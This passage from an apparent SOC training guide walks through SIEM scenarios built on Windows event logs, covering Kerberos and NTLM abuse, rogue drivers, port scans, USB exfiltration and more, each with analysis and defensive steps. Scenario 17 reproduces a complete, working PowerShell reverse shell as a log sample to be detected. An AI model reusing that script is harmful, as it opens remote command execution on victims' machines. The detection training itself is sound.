- **Ongoing Monitoring:** Keep a close watch on the affected system for any further suspicious activity, especially attempts to delete or modify other critical files.
- **Update SIEM Rules:** Create specific detection rules for repeated file deletion attempts on locked files or system files, ensuring better detection of potential threats.

Scenario 10: Duplicate IP Address Detection

The SIEM system has flagged multiple log entries indicating duplicate IP address issues in the network. This can result from network misconfigurations, rogue devices or even malicious activities such as ARP spoofing. Event IDs **4199** and **4198** are critical for identifying and investigating these occurrences.

Step 1: Log Details

Log Entry 1: Duplicate IP Address Detected

Log Name: System

Source: Tcpip

Event ID: 4199

Level: Warning

Description:

The system detected an address conflict for IP address 192.168.1.100.

The network interface with MAC address 00-14-22-01-23-45 has also been assigned this IP address.

- Event Details:

IP Address: 192.168.1.100

Conflicting MAC Address: 00-14-22-01-23-45

Local MAC Address: 00-14-22-67-89-AB

Timestamp: 2024-12-07 14:05:00

Log Entry 2: Duplicate Address Announcement Received

Log Name: System

Source: Tcpip

Event ID: 4198

Level: Information

Description:

The system detected an IP address conflict. Another system on the network has announced the same IP address 192.168.1.100.

- Event Details:

IP Address: 192.168.1.100

Conflicting Device: Unknown

Local Device MAC Address: 00-14-22-67-89-AB

Timestamp: 2024-12-07 14:07:30

Step 2: Analysis

1. Indicators of Concern

- **IP Address Conflict:** The IP address 192.168.1.100 is being used by multiple devices, causing potential disruptions in network communication.
- **MAC Address Information:** The conflicting MAC address (00-14-22-01-23-45) does not match any known devices in the asset inventory, raising suspicion of a rogue device.
- **Repeated Events:** The detection of both Event ID **4199** and **4198** confirms that the conflict is active and persistent.

2. Potential Causes

- **Misconfiguration:** Manual IP assignments could overlap with dynamically assigned IPs from the DHCP server.
- **Rogue Device:** An unauthorised device may be attempting to join the network using a static IP configuration.
- **Malicious Activity:** The conflict could result from ARP spoofing or IP hijacking attempts by an attacker.

3. Correlation with Other Logs

- **ARP Logs:** Check for anomalous ARP broadcasts around the same time to detect potential ARP spoofing attempts.
- **DHCP Logs:** Verify the DHCP server logs for inconsistencies or unauthorised devices obtaining the same IP address.
- **Authentication Logs:** Review failed or unauthorised logins to identify whether the conflicting device is actively trying to access the network.

4. Impact Analysis

- Network disruption could occur, affecting devices using 192.168.1.100. This could lead to loss of connectivity or degraded performance for critical services.
- The presence of an unknown MAC address could signal unauthorised access to the network.

Step 3: Recommendations

1. Immediate Actions

- **Identify the Device:** Use network monitoring tools to locate the physical device with the MAC address 00-14-22-01-23-45.
- **Block the Device:** Temporarily block the conflicting MAC address at the network switch or firewall until further investigation.
- **Release and Renew IPs:** Restart the affected devices or release/renew the IP address on the DHCP server to resolve the conflict.

2. Investigative Steps

- **Verify Asset Inventory:** Cross-check the MAC addresses against the known inventory to confirm whether the device is legitimate.
- **Inspect Network Traffic:** Capture network packets for the conflicting MAC address to determine its activities and intentions.
- **Audit DHCP Configuration:** Review DHCP settings for misconfigurations, such as overlapping IP ranges or improperly configured static IP assignments.

3. Preventive Measures

- **Implement DHCP Snooping:** Enable DHCP snooping to ensure only authorised devices can obtain IP addresses.
- **Use IP Address Management (IPAM):** Deploy an IPAM solution to track and manage IP address assignments.
- **Enable Port Security:** Restrict the number of MAC addresses allowed per port to prevent rogue devices from accessing the network.
- **Monitor ARP Tables:** Regularly audit and monitor ARP tables for unusual entries or changes.

Step 4: Monitoring the Aftermath

- **Continuous Monitoring:** Add the conflicting MAC address to the SIEM system to track future activities or ensure it does not reappear.
- **Set Alerts:** Configure alerts for duplicate IP detections to quickly identify and respond to future conflicts.
- **Educate Users:** Inform employees about potential risks of connecting unauthorised devices to the corporate network.

Scenario 11: Mass File Deletion Detected

A spike in log events related to file deletion has been detected by the SIEM system, indicating potential malicious activity. Event ID **4660** (An object was deleted) is key for identifying unauthorised or mass file deletion attempts. This activity could signal ransomware execution, insider threats or unintended misconfiguration leading to data loss.

Step 1: Log Details

Log Entry 1: File Deletion Logged

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4660

Level: Information

Description:

An object was deleted.

- Subject:

  Security ID: S-1-5-21-1001

  Account Name: Izzmier

  Account Domain: CONTOSO

  Logon ID: 0x10A52

- Object:

  Object Server: Security

  Object Type: File

  Object Name: C:\Company\Sensitive\Data1.xlsx

  Handle ID: 0x20100

- Process Information:

  Process ID: 0x1452

  Process Name: C:\Windows\System32\cmd.exe

Timestamp: 2024-12-07 14:05:00

Log Entry 2: Repeated Deletion Events

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4660

Level: Information

Description:

An object was deleted.

- Subject:

  Security ID: S-1-5-21-1001

  Account Name: Izzmier

  Account Domain: CONTOSO

  Logon ID: 0x10A52

- Object:

  Object Server: Security

  Object Type: File

  Object Name: C:\Company\Sensitive\Data2.xlsx

  Handle ID: 0x20101

- Process Information:

Process ID: 0x1452

Process Name: C:\Windows\System32\cmd.exe

Timestamp: 2024-12-07 14:06:30

Step 2: Analysis

1. Indicators of Concern

- **Multiple Deletion Events:** A series of Event ID **4660** logs within a short time frame suggests an attempt to delete numerous files.
- **Suspicious Process:** The process cmd.exe was used for file deletion, which is uncommon for legitimate operations and warrants further investigation.
- **Affected Files:** Critical files in the directory C:\Company\Sensitive\ are being targeted, indicating the potential for significant data loss.

2. Potential Causes

- **Malware Activity:** A ransomware attack may be encrypting or deleting files as part of its payload.
- **Insider Threat:** The user Izzmier might be maliciously deleting files or their account could have been compromised.
- **Misconfigured Script:** A poorly written script or automated process could be unintentionally deleting files.

3. Correlation with Other Logs

- **File Access Logs (Event ID: 4663):** Check for access to the same files before deletion.
- **Process Creation Logs (Event ID: 4688):** Review logs to confirm how cmd.exe was executed.
- **Login Logs (Event ID: 4624):** Validate the origin of the login session associated with Izzmier.

4. Impact Analysis

- **Business Disruption:** Loss of sensitive files could impact operations.

- **Data Breach Risk:** If files are deleted maliciously, there is a chance the data has also been exfiltrated.
- **User Account Compromise:** If Izzmier is not responsible, their account might be compromised.

Step 3: Recommendations

1. Immediate Actions

- **Isolate the User Account:** Temporarily disable Izzmier's account to prevent further damage.
- **Stop the Process:** Terminate the suspicious process (cmd.exe) on the affected system.
- **Recover Deleted Files:** Attempt to restore files from backups or shadow copies.

2. Investigative Steps

- **Analyse File Access:** Use Event ID **4663** logs to determine which files were accessed before deletion.
- **Examine User Activity:** Correlate Izzmier's activity logs to confirm whether they initiated the deletion or their account was compromised.
- **Check for Malware:** Scan the system for malware that might have triggered the deletion.

3. Preventive Measures

- **Enable File Integrity Monitoring:** Deploy tools to detect and alert on unauthorised file deletions.
- **Implement Least Privilege:** Restrict user accounts from deleting critical files unnecessarily.
- **Use Data Loss Prevention (DLP):** Monitor and control data deletion and exfiltration attempts.
- **Audit PowerShell and Command Prompt Usage:** Track and restrict excessive use of administrative tools like cmd.exe.

Step 4: Monitoring the Aftermath

- **Set Up Alerts:** Configure the SIEM system to alert on a high volume of Event ID **4660** within a short time frame.
- **Audit Backup Systems:** Ensure recent backups are available and functional.
- **Educate Employees:** Conduct awareness training to prevent accidental or intentional misuse of deletion privileges.

Scenario 12: Abuse Of Kerberos Ticket Granting Detected

The SIEM system identifies potential abuse of Kerberos tickets, specifically Event ID **4768** (A Kerberos authentication ticket was requested). Repeated or suspicious requests for Ticket Granting Tickets (TGTs) may indicate reconnaissance, lateral movement or attempts to exploit Kerberos authentication (Kerberoasting).

Step 1: Log Details

Log Entry 1: Suspicious TGT Request

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4768

Level: Information

Description:

A Kerberos authentication ticket (TGT) was requested.

- Account Information:

  Account Name: service_account1

  Account Domain: CONTOSO

  Logon GUID: {6D3E5D15-4B45-4255-9083-C2A9EAA32592}

- Service Information:

  Service Name: krbtgt/CONTOSO.COM

- Network Information:

  Client Address: 192.168.1.100

  Client Port: 54212

- Additional Information:

  Ticket Options: 0x40810010

  Encryption Type: 0x17

  Failure Code: -

  Pre-Authentication Type: 2

Timestamp: 2024-12-08 09:30:15

Log Entry 2: Multiple Requests from a Single Source

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4768

Level: Information

Description:

A Kerberos authentication ticket (TGT) was requested.

- Account Information:

  Account Name: service_account2

  Account Domain: CONTOSO

  Logon GUID: {8D7B5F22-3B29-4B15-90E1-C7A2E8F6AB32}

- Service Information:

  Service Name: krbtgt/CONTOSO.COM

- Network Information:

  Client Address: 192.168.1.100

  Client Port: 54213

- Additional Information:

Ticket Options: 0x40810010

Encryption Type: 0x17

Failure Code: -

Pre-Authentication Type: 2

Timestamp: 2024-12-08 09:32:10

Step 2: Analysis

1. Indicators of Concern

- **Repeated TGT Requests:** Multiple Event ID **4768** logs from the same IP address (192.168.1.100) targeting different service accounts (service_account1, service_account2).
- **Service Name:** All requests involve the krbtgt service, which manages Kerberos authentication and is a high-value target.
- **Suspicious Client Address:** The client IP (192.168.1.100) is not commonly associated with service accounts, raising red flags.

2. Potential Threats

- **Kerberoasting:** Attackers may be attempting to retrieve TGTs to brute force weak password hashes offline.
- **Reconnaissance:** Enumerating Kerberos-enabled accounts for further lateral movement.
- **Privilege Escalation:** Compromising the krbtgt account for forging Golden Tickets.

3. Correlation with Other Logs

- **Failed Authentication Logs (Event ID: 4771):** Check if there are failures associated with these accounts to detect brute-force attempts.

- **Account Lockout Logs (Event ID: 4740):** Review if these service accounts were locked due to multiple failed attempts.
- **Process Execution Logs (Event ID: 4688):** Determine if tools like Mimikatz were executed on the source machine.

4. Impact Analysis

- **Service Account Compromise:** Potential exposure of privileged service accounts.
- **Domain Controller Target:** Abuse of krbtgt could lead to domain-level compromise.
- **Operational Disruption:** Unauthorised activity could impact authentication services.

Step 3: Recommendations

1. Immediate Actions

- **Block the Source IP:** Isolate the IP address (192.168.1.100) from the network.
- **Audit Service Accounts:** Review and reset passwords for service_account1 and service_account2.
- **Monitor Active Sessions:** Terminate suspicious sessions associated with these accounts.

2. Investigative Steps

- **Analyse TGT Requests:** Review historical Event ID **4768** logs to identify patterns or other affected accounts.
- **Inspect the Source Machine:** Conduct forensic analysis on 192.168.1.100 for tools like Mimikatz or Kerberoasting scripts.
- **Verify Encryption Types:** Ensure encryption standards meet best practices (AES-256).

3. Preventive Measures

- **Strong Password Policies:** Enforce complex passwords for service accounts to mitigate brute-force risks.
- **Monitor Service Account Usage:** Use SIEM rules to alert on unusual activity involving krbtgt.

- **Enable Logging:** Ensure advanced audit policies are configured to capture Kerberos-related events.
- **Deploy Detection Rules:** Implement SIEM rules for repeated TGT requests from a single source.

Step 4: Monitoring the Aftermath

- **Track Kerberos Activity:** Configure alerts for high-frequency Event ID **4768** logs.
- **Harden krbtgt:** Reset the krbtgt password regularly to invalidate stale tickets.
- **User Awareness:** Train administrators on Kerberos attack techniques and detection.

Scenario 13: Unauthorised Driver Updates Detected

The SIEM system flags potential unauthorised driver installations or updates on a critical server. Event IDs **7045** (Service installation) and **20001** (Driver management) indicate unusual activity that may compromise system integrity, potentially linked to malicious drivers or lateral movement attempts.

Step 1: Log Details

Log Entry 1: Unauthorised Service Installation (Event ID: 7045)

Log Name: System

Source: Service Control Manager

Event ID: 7045

Level: Information

Description:

A service was installed on the system.

- Service Information:

  Service Name: MaliciousDriverUpdater

  Service File Name: C:\Windows\Temp\malicious_driver_updater.sys

  Service Type: Kernel Driver

  Start Type: Demand Start

  Account: SYSTEM

- Additional Information:

  Install Time: 2024-12-08 10:45:00

- Process Information:

  Initiating Process: C:\Users\Public\Downloads\unknown_tool.exe

Initiating User: Administrator

Timestamp: 2024-12-08 10:45:12

Log Entry 2: Driver Update Management Event (Event ID: 20001)

Log Name: Microsoft-Windows-DriverFrameworks-UserMode/Operational

Source: Microsoft-Windows-DriverFrameworks-UserMode

Event ID: 20001

Level: Information

Description:

A driver management event has occurred.

- Driver Information:

Driver Name: malicious_driver.sys

Driver Version: 1.0.0

Driver Manufacturer: Unknown

Driver Path: C:\Windows\System32\Drivers\malicious_driver.sys

- Additional Information:

Installation Result: Success

Method Used: Unsigned Driver Installation

Timestamp: 2024-12-08 10:45:15

Step 2: Analysis

1. Indicators of Concern

- **Unsigned Driver:** The driver was installed without proper signing, bypassing integrity checks.
- **Suspicious File Locations:** Temporary and uncommon directories used for installation (C:\Windows\Temp\, C:\Users\Public\Downloads).
- **Initiating Process:** Unknown executable (unknown_tool.exe) triggered the installation.
- **Privilege Misuse:** The SYSTEM account was used to install the driver, indicating potential privilege escalation.

2. Potential Threats

- **Rootkit Deployment:** Malicious drivers can hook into the kernel to hide processes or files.
- **System Compromise:** Unauthorised drivers may provide attackers persistent access.
- **Supply Chain Attacks:** Malicious driver updates could indicate exploitation of vulnerable third-party tools.

3. Correlation with Other Logs

- **Process Creation Logs (Event ID: 4688):** Check for the execution of unknown_tool.exe or related processes.
- **File Access Logs (Event ID: 4663):** Review logs to identify modifications to C:\Windows\System32\Drivers\.
- **Code Integrity Logs (Event ID: 3065):** Detect policy violations or attempts to load unsigned drivers.

4. Impact Analysis

- **Kernel-Level Access:** Malicious drivers have direct access to kernel resources, potentially bypassing all security layers.
- **Operational Disruption:** Systems may exhibit instability, performance degradation or crashes.
- **Lateral Movement:** Drivers can be used to inject malicious code into other systems.

Step 3: Recommendations

1. Immediate Actions

- **Isolate the Host:** Disconnect the affected machine from the network.
- **Terminate Malicious Processes:** Stop and remove the MaliciousDriverUpdater service.
- **Quarantine Suspicious Files:** Move unknown_tool.exe and malicious_driver.sys to a secure location for analysis.

2. Investigative Steps

- **Driver Analysis:** Submit the malicious_driver.sys file to a malware sandbox (VirusTotal) for evaluation.
- **Verify Source:** Check for recent downloads or external storage devices that introduced unknown_tool.exe.
- **Audit Installed Drivers:** Use tools like sigverif to identify and remove unsigned drivers.

3. Preventive Measures

- **Restrict Unsigned Drivers:** Enable Secure Boot and enforce driver signing policies via Group Policy.
- **Privileged Access Monitoring:** Regularly review activities performed under the SYSTEM account.
- **Driver Approval Workflows:** Require administrative approval for driver updates and installations.

Step 4: Monitoring the Aftermath

- **Continuous Auditing:** Monitor Event IDs **7045** and **20001** for new or unauthorised service and driver installations.
- **Policy Enforcement:** Validate integrity policies to prevent future unsigned driver installations.
- **User Training:** Educate administrators about risks associated with downloading unknown tools.

Scenario 14: Firewall Port Scanning Detected

The SIEM system identifies unusual activity that suggests a port scanning attempt on a critical server. Event IDs **5156**(Allowed connection) and **5157** (Blocked connection) are analysed to determine whether the activity is indicative of reconnaissance by an external or internal actor.

Step 1: Log Details

Log Entry 1: Allowed Connection (Event ID: 5156)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 5156

Level: Information

Description:

The Windows Filtering Platform has permitted a connection.

- Connection Information:

  Direction: Inbound

  Source Address: 192.168.1.50

  Source Port: 54321

  Destination Address: 192.168.1.10

  Destination Port: 80 (HTTP)

  Protocol: TCP

- Application Information:

  Process Name: C:\Windows\System32\svchost.exe

Timestamp: 2024-12-08 14:15:23

Log Entry 2: Blocked Connection (Event ID: 5157)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 5157

Level: Warning

Description:

The Windows Filtering Platform has blocked a connection.

- Connection Information:

  Direction: Inbound

  Source Address: 192.168.1.50

  Source Port: 54321

  Destination Address: 192.168.1.10

  Destination Port: 135 (RPC)

  Protocol: TCP

- Application Information:

  Process Name: C:\Windows\System32\svchost.exe

Timestamp: 2024-12-08 14:15:25

Log Entry 3: Blocked Connection (Event ID: 5157)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 5157

Level: Warning

Description:

The Windows Filtering Platform has blocked a connection.

- Connection Information:

  Direction: Inbound

  Source Address: 192.168.1.50

  Source Port: 54321

  Destination Address: 192.168.1.10

  Destination Port: 3389 (RDP)

  Protocol: TCP

- Application Information:

  Process Name: C:\Windows\System32\svchost.exe

Timestamp: 2024-12-08 14:15:27

Step 2: Analysis

1. Indicators of Concern

- **Frequent Sequential Port Probes:** Multiple connection attempts to different ports (80, 135, 3389) in a short time frame.
- **Blocked Ports:** Critical services such as RPC (135) and RDP (3389) were targeted.
- **Source IP:** The same IP (192.168.1.50) is initiating all attempts, suggesting systematic probing.

2. Potential Threats

- **Reconnaissance Activity:** Port scanning is often used to identify open services for further exploitation.
- **Exploitation Attempts:** The attacker may exploit vulnerabilities on services like RDP (3389).

- **Internal or External Source:** If 192.168.1.50 is within the network, it could indicate an internal threat actor or compromised device.

3. Correlation with Other Logs

- **Process Creation Logs (Event ID: 4688):** Look for scanning tools executed on 192.168.1.50.
- **Network Traffic Logs:** Review outbound connections to detect communications with external command-and-control servers.
- **Authentication Logs (Event ID: 4625):** Check for failed login attempts on targeted services.

4. Impact Analysis

- **Service Identification:** The actor may use open ports to craft targeted attacks.
- **Disruption Risk:** Persistent probing could degrade service performance or trigger firewall rules.

Step 3: Recommendations

1. Immediate Actions

- **Block Source IP:** Add 192.168.1.50 to a firewall blocklist to prevent further probing.
- **Inspect the Source Host:** Investigate 192.168.1.50 for signs of malware or unauthorised activity.
- **Monitor Network Traffic:** Identify any other targets of the scanning activity.

2. Investigative Steps

- **Host Inspection:** Run anti-malware scans on 192.168.1.50 to detect malicious software.
- **Identify the Tool:** Look for scanning tools like nmap or masscan on the source device.
- **Review Firewall Logs:** Check for additional attempts from other IP addresses.

3. Preventive Measures

- **Enable Firewall Rules:** Ensure default-deny policies for inbound connections on sensitive ports.

- **Rate Limiting:** Implement rate-limiting to mitigate high-frequency scanning attempts.
- **Network Segmentation:** Isolate critical assets to limit exposure to unauthorised scans.

Step 4: Monitoring the Aftermath

- **Continuous Log Monitoring:** Focus on Event IDs **5156** and **5157** for similar patterns.
- **Alert Configuration:** Create SIEM rules to detect port scans based on frequency and variety of port targets.
- **Incident Follow-Up:** Report findings to security management and evaluate network defense effectiveness.

Scenario 15: Misuse Of NTLM Authentication Detected

The SIEM system identifies suspicious NTLM authentication activity in the environment. Event IDs **4776** (NTLM authentication attempt) and **4624** (Account logon success) are analysed to detect potential misuse or lateral movement attempts using compromised credentials.

Step 1: Log Details

Log Entry 1: NTLM Authentication Attempt (Event ID: 4776)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4776

Level: Information

Description:

The domain controller attempted to validate the credentials for an account.

- Account Information:

  Account Name: izzmier

  Workstation Name: WS-1234

- Status: 0xC000006A (Incorrect Password)

Timestamp: 2024-12-09 09:22:10

Log Entry 2: Successful NTLM Authentication (Event ID: 4624)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4624

Level: Information

Description:

An account was successfully logged on.

- Logon Type: 3 (Network Logon)

- Account Name: izzmier

- Account Domain: CONTOSO

- Workstation Name: WS-5678

- Logon Process: NtLmSsp

- Authentication Package: NTLM

- Source Network Address: 192.168.1.100

Timestamp: 2024-12-09 09:22:15

Log Entry 3: Suspicious NTLM Activity (Event ID: 4776)

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4776

Level: Warning

Description:

The domain controller attempted to validate the credentials for an account.

- Account Information:

  Account Name: admin1

  Workstation Name: WS-9999

- Status: 0xC0000064 (User does not exist)

Timestamp: 2024-12-09 09:23:30

Step 2: Analysis

1. Indicators of Concern

- **Multiple Failed NTLM Authentication Attempts:** The account izzmier experienced incorrect password attempts (0xC000006A), suggesting a brute force or password spraying attack.
- **Logon from Different Workstations:** Successful logon for izzmier occurred on WS-5678, which is not the same as the failed attempts originating from WS-1234.
- **Invalid Account Attempt:** The use of a non-existent account (admin1) indicates an enumeration attempt to identify valid accounts.
- **Suspicious Source Address:** The source IP (192.168.1.100) might indicate lateral movement or an external actor using NTLM to gain access.

2. Potential Threats

- **Credential Abuse:** The attacker might have guessed or obtained the password for izzmier.
- **Lateral Movement:** Successful logon to WS-5678 indicates potential compromise and reconnaissance within the network.
- **Account Enumeration:** The admin1 attempt is likely part of a larger effort to enumerate valid credentials for privileged accounts.

3. Correlation with Other Logs

- **File Access Logs:** Check for unauthorised file access or modifications on WS-5678.
- **Privileged Access Events (Event ID: 4672):** Look for elevation of privileges for the compromised account.
- **Process Creation Logs (Event ID: 4688):** Monitor for suspicious processes initiated on WS-5678.

4. Impact Analysis

- **Data Exposure:** The compromised account might have accessed sensitive data or system configurations.

- **Network Threat:** The attacker could leverage the foothold to target other systems.

Step 3: Recommendations

1. Immediate Actions

- **Disable Account:** Lock the izzmier account to prevent further misuse.
- **Quarantine Host:** Isolate WS-5678 to prevent further lateral movement.
- **Block Source IP:** Add 192.168.1.100 to the firewall blocklist if it's identified as a threat.

2. Investigative Steps

- **Audit NTLM Traffic:** Use network monitoring tools to identify NTLM usage and anomalies.
- **Analyse User Activity:** Review all actions performed by izzmier on WS-5678.
- **Inspect Failed Attempts:** Focus on admin1 and other similar attempts to identify patterns of enumeration.

3. Preventive Measures

- **Enforce MFA:** Mandate multi-factor authentication to reduce reliance on NTLM.
- **Restrict NTLM Usage:** Disable NTLM authentication where not required or enforce stronger protocols.
- **Password Hygiene:** Encourage users to create strong, unique passwords and regularly rotate them.

Step 4: Monitoring the Aftermath

- **Set Alerts:** Configure SIEM rules for multiple Event ID **4776** failures followed by a **4624** success.
- **Audit Privileged Accounts:** Conduct a review of all privileged accounts for suspicious activity.
- **Awareness Training:** Educate employees on phishing and credential protection to reduce risk.

Scenario 16: Detection of USB Device Usage

The SIEM system monitors USB device activity through Event IDs **20001** (Device connected) and **20003** (Device removed) from the Device Management logs. An investigation reveals potential misuse of a USB device for unauthorised data exfiltration.

Step 1: Log Details

Log Entry 1: USB Device Connected (Event ID: 20001)

Log Name: Device Management Operational

Source: Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider

Event ID: 20001

Level: Information

Description:

A USB device was connected to the system.

- Device ID: USB\VID_0781&PID_5591\6A4E5B4D2C72

- Device Name: SanDisk Ultra USB 3.0

- User Account: CONTOSO\iffah

- Hostname: WS-4545

- Connection Time: 2024-12-09 10:15:45

Log Entry 2: USB Device Removed (Event ID: 20003)

Log Name: Device Management Operational

Source: Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider

Event ID: 20003

Level: Information

Description:

A USB device was removed from the system.

- Device ID: USB\VID_0781&PID_5591\6A4E5B4D2C72

- Device Name: SanDisk Ultra USB 3.0

- User Account: CONTOSO\iffah

- Hostname: WS-4545

- Removal Time: 2024-12-09 10:45:10

Additional Context: File Access Logs

Event ID **4663** from Security logs indicates files accessed during the USB connection.

Log Name: Security

Source: Microsoft-Windows-Security-Auditing

Event ID: 4663

Level: Information

Description:

A file was accessed.

- File Name: C:\SensitiveData\ProjectPlan.xlsx

- Access Type: Read

- Access Mask: 0x1

- User Account: CONTOSO\iffah

- Hostname: WS-4545

- Timestamp: 2024-12-09 10:25:32

Step 2: Analysis

1. Indicators of Concern

- **Sensitive File Access:** File ProjectPlan.xlsx from a restricted directory (SensitiveData) was accessed during the USB device connection period.
- **Unusual USB Activity:** The USB device was connected for an extended period (30 minutes), raising suspicion of data transfer.

2. Potential Threats

- **Data Exfiltration:** The USB device might have been used to copy sensitive information from the organisation.
- **Policy Violation:** USB usage could breach company policy if external devices are not permitted.

3. Correlation with Other Logs

- **Network Traffic:** Examine for unusual outbound traffic during or after USB usage to identify potential uploads.
- **User Behaviour:** Review logs for iffah across systems for anomalies, such as abnormal login times or access to unrelated data.

Step 3: Recommendations

1. Immediate Actions

- **Block USB Ports:** Disable USB ports on WS-4545 via Group Policy or endpoint management tools.
- **Suspend Account:** Temporarily suspend iffah to prevent further suspicious activity.
- **Quarantine Device:** Confiscate the USB device for forensic analysis.

2. Investigative Steps

- **Retrieve File Details:** Verify whether ProjectPlan.xlsx or other files were copied.
- **Device Analysis:** Examine the USB device for copied files, timestamps and other artefacts.
- **Audit User Activity:** Review iffah's activity across all systems for additional signs of policy violations.

3. Preventive Measures

- **Enforce DLP:** Implement Data Loss Prevention tools to monitor and control USB activity.
- **Policy Reinforcement:** Ensure strict enforcement of USB usage policies through employee training and technical restrictions.

- **Endpoint Monitoring:** Deploy endpoint detection solutions that alert on unauthorised USB connections and file transfer activities.

Step 4: Monitoring the Aftermath

- **Set Alerts:** Configure SIEM rules for Event IDs **20001** and **20003** with correlations to file access (Event ID **4663**).
- **Review Network Logs:** Look for outbound data transfers during or shortly after the USB usage timeframe.
- **Incident Report:** Document findings in a comprehensive report and share with the incident response team for further action.

Scenario 17: Detection Of Suspicious Powershell Activity

A SIEM alert is triggered by Event ID **4104** (from PowerShell logs) indicating suspicious activity on a workstation. The investigation suggests possible malicious script execution attempting to establish unauthorised remote access.

Step 1: Log Details

Log Entry: PowerShell Script Execution (Event ID: 4104)

Log Name: Microsoft-Windows-PowerShell/Operational

Source: Microsoft-Windows-PowerShell

Event ID: 4104

Level: Warning

Description:

PowerShell script execution detected.

- User: CONTOSO\izzmier

- Hostname: WS-7890

- Script Block Text:

```
$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100', 4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2  = $sendback + 'PS> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();};
```

```
$client.Close();
```

- Script Execution Time: 2024-12-09 12:15:32

Step 2: Analysis

1. Indicators of Concern

- **Reverse Shell Code:** The script attempts to establish a reverse shell by connecting to IP **192.168.1.100** on port **4444**.
- **Unusual PowerShell Usage:** Legitimate users rarely execute such complex scripts manually.
- **Potential Malware Execution:** The script may be part of a larger malicious payload.

2. Correlation with Other Logs

- **Network Logs:** Verify outbound traffic from WS-7890 to 192.168.1.100 on port **4444**.
- **Authentication Logs:** Check if izzmier accessed the system at unusual times (Event IDs **4624**, **4625**).
- **Scheduled Task or Persistence:** Look for Event ID **4698** indicating potential persistence mechanisms.

3. Threat Context

- **Objective:** This activity likely aims to gain remote control of the workstation.
- **Threat Actor:** Could be an external attacker leveraging phishing or a compromised user account.

Step 3: Recommendations

1. Immediate Actions

- **Kill PowerShell Process:** Terminate the suspicious PowerShell process on WS-7890 using task management tools.
- **Block Network Connection:** Use a firewall to block outbound traffic to **192.168.1.100** and monitor for alternative C2 connections.

- **Suspend Account:** Temporarily disable izzmier's account to limit potential misuse.

2. Investigative Steps

- **Script Analysis:** Examine the full script for additional payloads or obfuscation techniques.
- **System Inspection:** Check WS-7890 for signs of compromise, such as altered system files or registry changes.
- **Audit Privileges:** Ensure izzmier's account has not been granted elevated privileges.

3. Preventive Measures

- **Restrict PowerShell Access:** Limit PowerShell usage to administrative users only.
- **Enable PowerShell Logging:** Configure enhanced logging to capture all script block activities and enforce monitoring.
- **User Training:** Educate employees on phishing risks and secure account practices.

Step 4: Monitoring the Aftermath

- **Set SIEM Alerts:** Define rules to flag Event ID **4104** with keywords like TCPClient or known obfuscation patterns.
- **Review Network Activity:** Monitor for any further attempts to communicate with external IPs from internal systems.
- **Incident Reporting:** Document findings in an incident report for organisational awareness and compliance purposes.

Scenario 18: Detection Of Software Restriction Policy Violation

A SIEM alert is triggered by Event ID **865** (from Software Restriction Policy logs), indicating an attempt to execute unauthorised software that violates the organisation's application control policies.

Step 1: Log Details

Log Entry: Software Restriction Policy Violation (Event ID: 865)

Log Name: Microsoft-Windows-GroupPolicy/Operational

Source: Microsoft-Windows-GroupPolicy

Event ID: 865

Level: Warning

Description:

A software restriction policy was violated.

- User: CONTOSO\adam.smith

- Hostname: WS-1023

- Policy Type: Disallowed

- Software Path: C:\Users\adam.smith\Downloads\malicious_app.exe

- Hash: B1A123F9D5E6F8C3210ABCDEF4567890

- Timestamp: 2024-12-09 14:20:45

Step 2: Analysis

1. Indicators of Concern

- **Execution Blocked:** A disallowed application (malicious_app.exe) located in the user’s downloads folder was blocked by a policy.
- **Suspicious Location:** Applications executed from the Downloads directory often signal unauthorised or malicious software.

- **Hash Reference:** The hash B1A123F9D5E6F8C3210ABCDEF4567890 can be used to verify whether the file is known malware through VirusTotal or internal threat intelligence.

2. Correlation with Other Logs

- **File Creation:** Check Event ID **4663** to determine when and how the file was created in the Downloads directory.
- **Network Traffic:** Look for outbound connections around the timestamp of the policy violation to identify any attempted C2 communication.
- **User Activity:** Review logs for adam.smith to detect unusual behaviour, such as abnormal login times (Event IDs **4624**, **4625**).

3. Threat Context

- **Objective:** The attempt to execute the disallowed software may be part of a malware infection or unauthorised tool usage.
- **Threat Actor:** Could be a negligent user downloading unauthorised software or an attacker attempting to bypass controls.

Step 3: Recommendations

1. Immediate Actions

- **Quarantine File:** Isolate malicious_app.exe for forensic analysis and prevent further access.
- **Notify User:** Contact adam.smith to understand the source of the file and educate on policy adherence.
- **Scan System:** Perform a full malware scan on WS-1023 to ensure no additional threats exist.

2. Investigative Steps

- **File Analysis:** Submit the file hash (B1A123F9D5E6F8C3210ABCDEF4567890) to threat intelligence platforms like VirusTotal to confirm its nature.
- **User Training Review:** Evaluate whether the user violated training guidelines on downloading software.

- **System Inspection:** Look for signs of bypass attempts, such as disabled antivirus or modified policies.

3. Preventive Measures

- **Update SRP Policies:** Ensure all rules are updated with the latest threat intelligence, including blacklisted hashes.
- **Application Whitelisting:** Implement stricter application control policies, allowing only approved software to run.
- **Restrict File Execution:** Prevent the execution of binaries from directories like Downloads and Temp.

Step 4: Monitoring the Aftermath

- **Set Alerts:** Configure SIEM rules to monitor frequent Event ID **865** occurrences for patterns of attempted violations.
- **Audit User Activity:** Periodically review user activity logs to identify high-risk individuals or repeated violations.
- **Incident Reporting:** Document findings and share them with IT and management for awareness and compliance review.

Scenario 19: Detection Of Failed Certificate Validation

